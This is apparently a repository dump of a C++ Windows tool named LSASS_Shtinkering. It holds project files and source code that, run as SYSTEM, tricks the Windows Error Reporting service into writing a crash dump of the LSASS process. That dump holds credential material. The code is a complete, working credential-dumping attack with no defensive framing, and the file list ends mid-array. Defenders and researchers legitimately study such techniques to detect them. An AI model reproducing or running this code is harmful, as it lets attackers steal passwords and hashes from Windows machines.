[
  {
    "path": ".gitignore",
    "content": ".vs/LSASS_Shtinkering/\n\nDebug/\n\nRelease/\n\nx64/\n\nLSASS_Shtinkering/Debug/\n\nLSASS_Shtinkering/Release/\n\nLSASS_Shtinkering/x64/"
  },
  {
    "path": "LSASS_Shtinkering/LSASS_Shtinkering.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{476fc126-239f-4d58-8389-e1c0e93c2c5e}</ProjectGuid>\n    <RootNamespace>LSASSShtinkering</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"Lsass_Shtinkering.cpp\" />\n    <ClCompile Include=\"Utils.cpp\" />\n    <ClCompile Include=\"WerReportException.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"Lsass_Shtinkering.h\" />\n    <ClInclude Include=\"ntddk.h\" />\n    <ClInclude Include=\"Utils.h\" />\n    <ClInclude Include=\"WerReportException.h\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "LSASS_Shtinkering/LSASS_Shtinkering.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"Lsass_Shtinkering.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Utils.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"WerReportException.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"Lsass_Shtinkering.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"Utils.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"WerReportException.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"ntddk.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "LSASS_Shtinkering/LSASS_Shtinkering.vcxproj.user",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"Current\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup />\n</Project>"
  },
  {
    "path": "LSASS_Shtinkering/Lsass_Shtinkering.cpp",
    "content": "#include \"Lsass_Shtinkering.h\"\n\nint main(int argc, char* argv[])\n{\n\n\tDWORD processPid;\n\tHANDLE processHandle;\n\n\ttry\n\t{\n\t\tif (IsLocalSystem())\n\t\t\twcout << L\"process runs as NT AUTHORITY\\\\SYSTEM\" << endl;\n\t\telse\n\t\t{\n\t\t\twcout << L\"process must run as NT AUTHORITY\\\\SYSTEM to dump lsass memory\" << endl;\n\t\t\treturn 0;\n\t\t}\n\t\tprocessPid = GetLsassPid();\n\t\tprocessHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION, TRUE, processPid);\n\n\t\twcout << L\"[*] Reporting exception on LSASS PID: 0x\" << std::hex << processPid << endl;\n\t\tReportExceptionToWer(processPid, processHandle);\n\t\twcout << L\"[V] Exception reported successfully!\" << endl;\n\t\tPrintCrashDampLocation();\n\t}\n\tcatch (std::exception& exception)\n\t{\n\t\twcout << L\"[X] Error: \" << exception.what() << endl;\n\t}\n\t\n}\n"
  },
  {
    "path": "LSASS_Shtinkering/Lsass_Shtinkering.h",
    "content": "#pragma once\n#include \"WerReportException.h\"\n"
  },
  {
    "path": "LSASS_Shtinkering/Utils.cpp",
    "content": "#include \"Utils.h\"\n\nDWORD GetServicePid(const wstring& ServiceName)\n{\n\tconst SC_HANDLE controlManagerHandle = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);\n\tif (nullptr == controlManagerHandle)\n\t\tthrow runtime_error(\"Connecting to Service Control Manager failed\");\n\n\tconst SC_HANDLE serviceHandle = OpenServiceW(controlManagerHandle, ServiceName.c_str(), SERVICE_QUERY_STATUS);\n\tCloseServiceHandle(controlManagerHandle);\n\tif (nullptr == serviceHandle)\n\t\tthrow runtime_error(\"Opening service handle failed\");\n\n\tSERVICE_STATUS_PROCESS procInfo;\n\tDWORD bytesNeeded;\n\tif (!QueryServiceStatusEx(serviceHandle, SC_STATUS_PROCESS_INFO, reinterpret_cast<LPBYTE>(&procInfo), sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded))\n\t{\n\t\tCloseServiceHandle(serviceHandle);\n\t\tthrow runtime_error(\"Querying service status failed\");\n\t}\n\n\tCloseServiceHandle(serviceHandle);\n\treturn procInfo.dwProcessId;\n}\n\nDWORD GetLsassPid()\n{\n\treturn GetServicePid(L\"samss\");\n}\n\nBOOL IsLocalSystem()\n{\n\tconst HANDLE tokenHandle = GetCurrentProcessToken();\n\tDWORD tokenInformationSize = 0;\n\tGetTokenInformation(tokenHandle, TokenUser, nullptr, 0, &tokenInformationSize);\n\n\t// The first call should fail because the buffer pointer is null. It is made to retrieve the required size of the buffer\n\tif (ERROR_INSUFFICIENT_BUFFER != GetLastError())\n\t\tthrow runtime_error(\"Getting buffer size from GetTokenInformation failed\");\n\n\t// Allocate the memory required to store the info\n\tconst auto tokenInfoBuffer = new uint8_t[tokenInformationSize];\n\n\t// Call GetTokenInformation again with a pointer to a buffer\n\tif (!GetTokenInformation(tokenHandle, TokenUser, tokenInfoBuffer, tokenInformationSize, &tokenInformationSize))\n\t{\n\t\tdelete[] tokenInfoBuffer;\n\t\tthrow runtime_error(\"Retrieving info from GetTokenInformation failed\");\n\t}\n\n\tconst auto tokenUser = reinterpret_cast<PTOKEN_USER>(tokenInfoBuffer);\n\tconst BOOL isSystem = IsWellKnownSid(tokenUser->User.Sid, WinLocalSystemSid);\n\tdelete[] tokenInfoBuffer;\n\treturn isSystem;\n}\n\nDWORD GetFirstThread(const DWORD Pid)\n{\n\tconst HANDLE snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\n\n\tif (INVALID_HANDLE_VALUE == snapshotHandle)\n\t\tthrow runtime_error(\"Creating threads snapshot failed\");\n\n\tDWORD threadId = 0;\n\tTHREADENTRY32 threadEntry;\n\tthreadEntry.dwSize = sizeof(THREADENTRY32);\n\tif (Thread32First(snapshotHandle, &threadEntry))\n\t{\n\t\tdo {\n\t\t\tif (threadEntry.th32OwnerProcessID == Pid) {\n\t\t\t\tthreadId = threadEntry.th32ThreadID;\n\t\t\t}\n\t\t} while (Thread32Next(snapshotHandle, &threadEntry));\n\n\t}\n\n\tCloseHandle(snapshotHandle);\n\treturn threadId;\n}\n\nvoid PrintCrashDampLocation()\n{\n\tDWORD bufferSize = 32767;\n\tstd::wstring environmentVariable;\n\tenvironmentVariable.resize(bufferSize);\n\tbufferSize = GetEnvironmentVariableW(L\"LocalAppData\", &environmentVariable[0], bufferSize);\n\tif (!bufferSize)\n\t\tthrow runtime_error(\"Retrieving %LocalAppData% failed\");\n\tenvironmentVariable.resize(bufferSize);\n\tenvironmentVariable.append(L\"\\\\CrashDumps\");\n\tstd::wcout << L\"[*] Crash dumps directory: \" << environmentVariable << endl;\n}"
  },
  {
    "path": "LSASS_Shtinkering/Utils.h",
    "content": "#pragma once\n#include <string>\n#include <stdexcept>\n#include <iostream>\n#include <Windows.h>\n#include <tlhelp32.h>\n\nusing std::endl;\nusing std::wcout;\nusing std::string;\nusing std::wstring;\nusing std::runtime_error;\n\nDWORD GetLsassPid();\nBOOL IsLocalSystem();\nDWORD GetFirstThread(DWORD Pid);\nvoid PrintCrashDampLocation();"
  },
  {
    "path": "LSASS_Shtinkering/WerReportException.cpp",
    "content": "#include \"WerReportException.h\"\n\nNTSTATUS SignalStartWerSvc()\n{\n\tNTSTATUS ntstatus = STATUS_UNSUCCESSFUL;\n\tHMODULE ntdllHandle = GetModuleHandle(L\"ntdll.dll\");\n\tconst auto NtUpdateWnfStateData = reinterpret_cast<NtUpdateWnfStateData_func>(GetProcAddress(ntdllHandle, \"NtUpdateWnfStateData\"));\n\n\tif (NtUpdateWnfStateData)\n\t{\n\t\t__int64 werWnfStateName = 0x41940B3AA3BC0875; // WNF_WER_SERVICE_START\n\t\twcout << L\"        [-] NtUpdateWnfStateData() for WNF_WER_SERVICE_START\" << endl;\n\t\tntstatus = NtUpdateWnfStateData(&werWnfStateName, nullptr, 0, nullptr, nullptr, 0, 0);\n\t}\n\telse\n\t{\n\t\t// Alternative to WNF (before Win8 for example)\n\t\tconst auto EtwEventWriteNoRegistration = reinterpret_cast<EtwEventWriteNoRegistration_func>(GetProcAddress(ntdllHandle, \"EtwEventWriteNoRegistration\"));\n\t\tif (nullptr == EtwEventWriteNoRegistration)\n\t\t\treturn ntstatus;\n\n\t\tconstexpr GUID feedbackServiceTriggerProviderGuid = { 0xe46eead8, 0xc54, 0x4489, {0x98, 0x98, 0x8f, 0xa7, 0x9d, 0x5, 0x9e, 0xe} };\n\t\tEVENT_DESCRIPTOR eventDescriptor;\n\t\tRtlZeroMemory(&eventDescriptor, sizeof(EVENT_DESCRIPTOR));\n\n\t\twcout << L\"        [-] EtwEventWriteNoRegistration() for {E46EEAD8-0C54-4489-9898-8FA79D059E0E}\" << endl;\n\n\t\tntstatus = EtwEventWriteNoRegistration(&feedbackServiceTriggerProviderGuid, &eventDescriptor, 0, nullptr);\n\t}\n\n\treturn ntstatus;\n}\n\nNTSTATUS WaitForWerSvc()\n{\n\tconstexpr auto name = L\"\\\\KernelObjects\\\\SystemErrorPortReady\";\n\tUNICODE_STRING objectName;\n\tobjectName.Buffer = const_cast<PWSTR>(name);\n\tobjectName.Length = 0x46;\n\tobjectName.MaximumLength = 0x48;\n\n\tOBJECT_ATTRIBUTES objectAttributes;\n\tobjectAttributes.ObjectName = &objectName;\n\tobjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);\n\tobjectAttributes.RootDirectory = nullptr;\n\tobjectAttributes.Attributes = 0;\n\tobjectAttributes.SecurityDescriptor = nullptr;\n\tobjectAttributes.SecurityQualityOfService = nullptr;\n\n\twcout << L\"        [-] NtOpenEvent() for \\\"\\\\KernelObjects\\\\SystemErrorPortReady\\\"\" << endl;\n\n\tHANDLE hEvent;\n\tNTSTATUS ntstatus = NtOpenEvent(&hEvent, EVENT_QUERY_STATE | SYNCHRONIZE, &objectAttributes);\n\t\n\tif (!NT_SUCCESS(ntstatus))\n\t\tthrow runtime_error(\"WaitForWerSvc()->NtOpenEvent() failed\");\n\n\twcout << L\"        [-] NtWaitForSingleObject() for hEvent\" << endl;\n\n\tntstatus = NtWaitForSingleObject(hEvent, FALSE, nullptr);\n\tNtClose(hEvent);\n\treturn ntstatus;\n}\n\nNTSTATUS SendMessageToWerService(ReportExceptionWerAlpcMessage* SendingMessage, ReportExceptionWerAlpcMessage* ReceivingMessage)\n{\n\twcout << L\"    [-] SignalStartWerSvc()\" << endl;\n\tNTSTATUS ntstatus = SignalStartWerSvc();\n\twcout << L\"        [-] NTSTATUS: 0x\" << ntstatus << endl;\n\tif (!NT_SUCCESS(ntstatus))\n\t\tthrow runtime_error(\"Signaling WER to start failed\");\n\n\twcout << L\"    [-] WaitForWerSvc()\" << endl;\n\tntstatus = WaitForWerSvc();\n\twcout << L\"        [-] NTSTATUS: 0x\" << ntstatus << endl;\n\t\n\tif (!NT_SUCCESS(ntstatus))\n\t\tthrow runtime_error(\"Waiting for WER to start failed\");\n\n\t\n\n\tHMODULE ntdllHandle = GetModuleHandle(L\"ntdll.dll\");\n\tauto ZwAlpcConnectPort = reinterpret_cast<NtAlpcConnectPort_func>(GetProcAddress(ntdllHandle, \"ZwAlpcConnectPort\"));\n\tauto NtAlpcSendWaitReceivePort = reinterpret_cast<NtAlpcSendWaitReceivePort_func>(GetProcAddress(ntdllHandle, \"NtAlpcSendWaitReceivePort\"));\n\n\tUNICODE_STRING alpcWerPortString;\n\tRtlInitUnicodeString(&alpcWerPortString, L\"\\\\WindowsErrorReportingServicePort\");\n\n\tHANDLE portHandle;\n\tOBJECT_ATTRIBUTES objectAttributes;\n\tALPC_PORT_ATTRIBUTES portAttributes;\n\tPORT_MESSAGE connectionMessage;\n\n\tobjectAttributes.Length = sizeof(objectAttributes);\n\tobjectAttributes.RootDirectory = nullptr;\n\tobjectAttributes.Attributes = 0;\n\tobjectAttributes.ObjectName = nullptr;\n\tobjectAttributes.SecurityDescriptor = nullptr;\n\tobjectAttributes.SecurityQualityOfService = nullptr;\n\n\tmemset(&portAttributes, 0, sizeof(portAttributes));\n\tportAttributes.MaxMessageLength = sizeof(ReportExceptionWerAlpcMessage);\n\n\tntstatus = ZwAlpcConnectPort(&portHandle, &alpcWerPortString, &objectAttributes, &portAttributes, ALPC_MSGFLG_SYNC_REQUEST, nullptr, nullptr, nullptr, nullptr, nullptr, nullptr);\n\twcout << L\"    [-] ZwAlpcConnectPort() for \\\"\\\\WindowsErrorReportingServicePort\\\" NTSTATUS: 0x\" << ntstatus << endl;\n\tif (!NT_SUCCESS(ntstatus))\n\t\tthrow runtime_error(\"ZwAlpcConnectPort failed\");\n\n\tSIZE_T bufLength = sizeof(ReportExceptionWerAlpcMessage);\n\tntstatus = NtAlpcSendWaitReceivePort(portHandle, ALPC_MSGFLG_SYNC_REQUEST, reinterpret_cast<PPORT_MESSAGE>(SendingMessage), nullptr, reinterpret_cast<PPORT_MESSAGE>(ReceivingMessage), &bufLength, nullptr, nullptr);\n\tNtClose(portHandle);\n\tstd::cout << \"    [-] NtAlpcSendWaitReceivePort() NTSTATUS: 0x\" << std::hex << ntstatus << endl;\n\tstd::cout << \"    [-] Received message NtStatusErrorCode: 0x\" << ReceivingMessage->NtStatusErrorCode << endl;\n\n\t// Check that the ntstatus from the call and in the received message indicate success\n\tif (NT_SUCCESS(ntstatus) && STATUS_TIMEOUT != ntstatus)\n\t{\n\t\tif (!NT_SUCCESS(ReceivingMessage->NtStatusErrorCode))\n\t\t\tthrow runtime_error(\"ReceivingMessage->NtStatusErrorCode indicates a fail\");\n\t}\n\telse\n\t\tthrow runtime_error(\"NtAlpcSendWaitReceivePort failed\");\n\n\treturn ntstatus;\n}\n\nBOOL ReportExceptionToWer(DWORD ProcessPid, HANDLE ProcessHandle)\n{\n\t// Create exception details\n\tEXCEPTION_RECORD exceptionRecord = {};\n\t_EXCEPTION_POINTERS exceptionPointers = {};\n\tCONTEXT context = {};\n\texceptionRecord.ExceptionCode = STATUS_UNSUCCESSFUL;\n\texceptionPointers.ExceptionRecord = &exceptionRecord;\n\texceptionPointers.ContextRecord = &context;\n\n\t// Create hRecoveryEVent & hCompletionEvent\n\t_SECURITY_ATTRIBUTES eventAttributes = { sizeof(_SECURITY_ATTRIBUTES) , nullptr, TRUE };\n\n\tHANDLE hRecoveryEvent = CreateEventW(&eventAttributes, TRUE, 0, nullptr);\n\tHANDLE hCompletionEvent = CreateEventW(&eventAttributes, TRUE, 0, nullptr);\n\n\t// Create the file mapping\n\tconst HANDLE hFileMapping = CreateFileMappingW(GetCurrentProcess(), &eventAttributes, PAGE_READWRITE, 0, sizeof(MappedViewStruct), nullptr);\n\tHANDLE mappedView = MapViewOfFile(hFileMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);\n\n\t// Prepare the MappedViewStruct\n\tMappedViewStruct mps = {};\n\tmps.Size = sizeof(MappedViewStruct);\n\tmps.ExceptionPointers = &exceptionPointers;\n\tmps.hCompletionEvent = hCompletionEvent;\n\tmps.hRecoveryEvent = hRecoveryEvent;\n\tmps.NtErrorCode = E_FAIL;\n\tmps.NtStatusErrorCode = STATUS_UNSUCCESSFUL;\n\tmps.TickCount = GetTickCount();\n\tmps.TargetProcessPid = ProcessPid;\n\tmps.hTargetProcess = ProcessHandle;\n\tmps.TargetThreadTid = GetFirstThread(ProcessPid);\n\tmps.hTargetThread = OpenThread(THREAD_QUERY_LIMITED_INFORMATION, TRUE, mps.TargetThreadTid);\n\n\t// Print MappedViewStruct members\n\twcout << L\"[*] MappedViewStruct:\" << endl;\n\twcout << L\"    [-] Size: 0x\"              << mps.Size              << endl;\n\twcout << L\"    [-] ExceptionPointers: 0x\" << mps.ExceptionPointers << endl;\n\twcout << L\"    [-] hCompletionEvent: 0x\"  << mps.hCompletionEvent  << endl;\n\twcout << L\"    [-] hRecoveryEvent: 0x\"    << mps.hRecoveryEvent    << endl;\n\twcout << L\"    [-] NtErrorCode: 0x\"       << mps.NtErrorCode       << endl;\n\twcout << L\"    [-] NtStatusErrorCode: 0x\" << mps.NtStatusErrorCode << endl;\n\twcout << L\"    [-] TickCount: 0x\"         << mps.TickCount         << endl;\n\twcout << L\"    [-] TargetProcessPID: 0x\"  << mps.TargetProcessPid  << endl;\n\twcout << L\"    [-] hTargetProcess: 0x\"    << mps.hTargetProcess    << endl;\n\twcout << L\"    [-] TargetThreadTID: 0x\"   << mps.TargetThreadTid   << endl;\n\twcout << L\"    [-] hTargetThread: 0x\"     << mps.hTargetThread     << endl;\n\n\t// Prepare the ALPC request\n\tReportExceptionWerAlpcMessage sendingMessage = {};\n\tsendingMessage.PortMessage.u1.s1.TotalLength = sizeof(ReportExceptionWerAlpcMessage);\n\tsendingMessage.PortMessage.u1.s1.DataLength = sizeof(ReportExceptionWerAlpcMessage) - sizeof(PORT_MESSAGE);\n\tsendingMessage.MessageType = WerSvcMessageId::RequestReportUnhandledException;\n\tsendingMessage.Flags = 0;\n\tsendingMessage.hFileMapping = hFileMapping;\n\tsendingMessage.hCompletionEvent = hCompletionEvent;\n\tsendingMessage.hRecoveryEvent = hRecoveryEvent;\n\tsendingMessage.hFileMapping2 = hFileMapping;\n\tsendingMessage.hTargetProcess = mps.hTargetProcess;\n\tsendingMessage.hTargetThread = mps.hTargetThread;\n\tsendingMessage.TargetProcessId = mps.TargetProcessPid;\n\n\t// Prepare the ALPC response\n\tReportExceptionWerAlpcMessage receivingMessage = {};\n\treceivingMessage.PortMessage.u1.s1.TotalLength = sizeof(ReportExceptionWerAlpcMessage);\n\treceivingMessage.PortMessage.u1.s1.DataLength = sizeof(ReportExceptionWerAlpcMessage) - sizeof(PORT_MESSAGE);\n\n\t// Copy the struct into the mapped view\n\tRtlCopyMemory(mappedView, &mps, sizeof(mps));\n\n\twcout << L\"[*] SendMessageToWerService()\" << endl;\n\n\t// Send the request and get the response from the ALPC server\n\tNTSTATUS werNtstatus = SendMessageToWerService(&sendingMessage, &receivingMessage);\n\n\tCloseHandle(mappedView);\n\tCloseHandle(hFileMapping);\n\tCloseHandle(hCompletionEvent);\n\tCloseHandle(hRecoveryEvent);\n\n\t// Did we fail to send the ALPC message?\n\tif (STATUS_SUCCESS != werNtstatus)\n\t\tthrow runtime_error(\"SendMessageToWERService failed\");\n\n\t// Did the operation not succeed on WerSvc side?\n\tif (STATUS_SUCCESS != receivingMessage.NtStatusErrorCode)\n\t{\n\t\tstd::stringstream messageStream;\n\t\tmessageStream << \"receivingMessage.NtStatusErrorCode is 0x\";\n\t\tmessageStream << std::hex << to_string(receivingMessage.NtStatusErrorCode);\n\t\tstring errorMessage = messageStream.str();\n\t\tthrow runtime_error(errorMessage.c_str());\n\t}\n\n\t// Check if message type indicates failure\n\tif (WerSvcMessageId::ReplyReportUnhandledExceptionFailure != receivingMessage.MessageType)\n\t{\n\t\tstd::stringstream messageStream;\n\t\tmessageStream << \"receivingMessage.MessageType is 0x\";\n\t\tmessageStream << std::hex << to_string(receivingMessage.NtStatusErrorCode);\n\t\tstring errorMessage = messageStream.str();\n\t\tthrow runtime_error(errorMessage.c_str());\n\t\t\n\t}\n\n\t// The reply consists of a handle to the spawned WerFault.exe process\n\tauto werFaultProcessHandle = reinterpret_cast<HANDLE>(receivingMessage.Flags);\n\n\twcout << L\"[*] Waiting for WerFault.exe to exit...\" << endl;\n\n\t// Wait for WeFault to exit\n\twhile (TRUE)\n\t{\n\t\tNTSTATUS ntstatus = NtWaitForSingleObject(werFaultProcessHandle, TRUE, nullptr);\n\n\t\t// Was there was either a timeout or a failure\n\t\tif (STATUS_TIMEOUT == ntstatus || ntstatus < 0)\n\t\t\tbreak;\n\n\t\t// If there wasn't a failure,\n\t\t// did we return because of an APC or because the wait was aborted?\n\t\tif (STATUS_USER_APC != ntstatus && STATUS_ALERTED != ntstatus)\n\t\t{\n\t\t\tntstatus = STATUS_SUCCESS;\n\t\t\tbreak;\n\t\t}\n\n\t}\n\treturn TRUE;\n}"
  },
  {
    "path": "LSASS_Shtinkering/WerReportException.h",
    "content": "#pragma once\n#include \"Utils.h\"\n#include \"ntddk.h\"\n#include <sstream>\n#include <ntstatus.h>\n\nusing std::to_string;\nusing std::to_wstring;\n\nBOOL ReportExceptionToWer(DWORD ProcessPid, HANDLE ProcessHandle);"
  },
  {
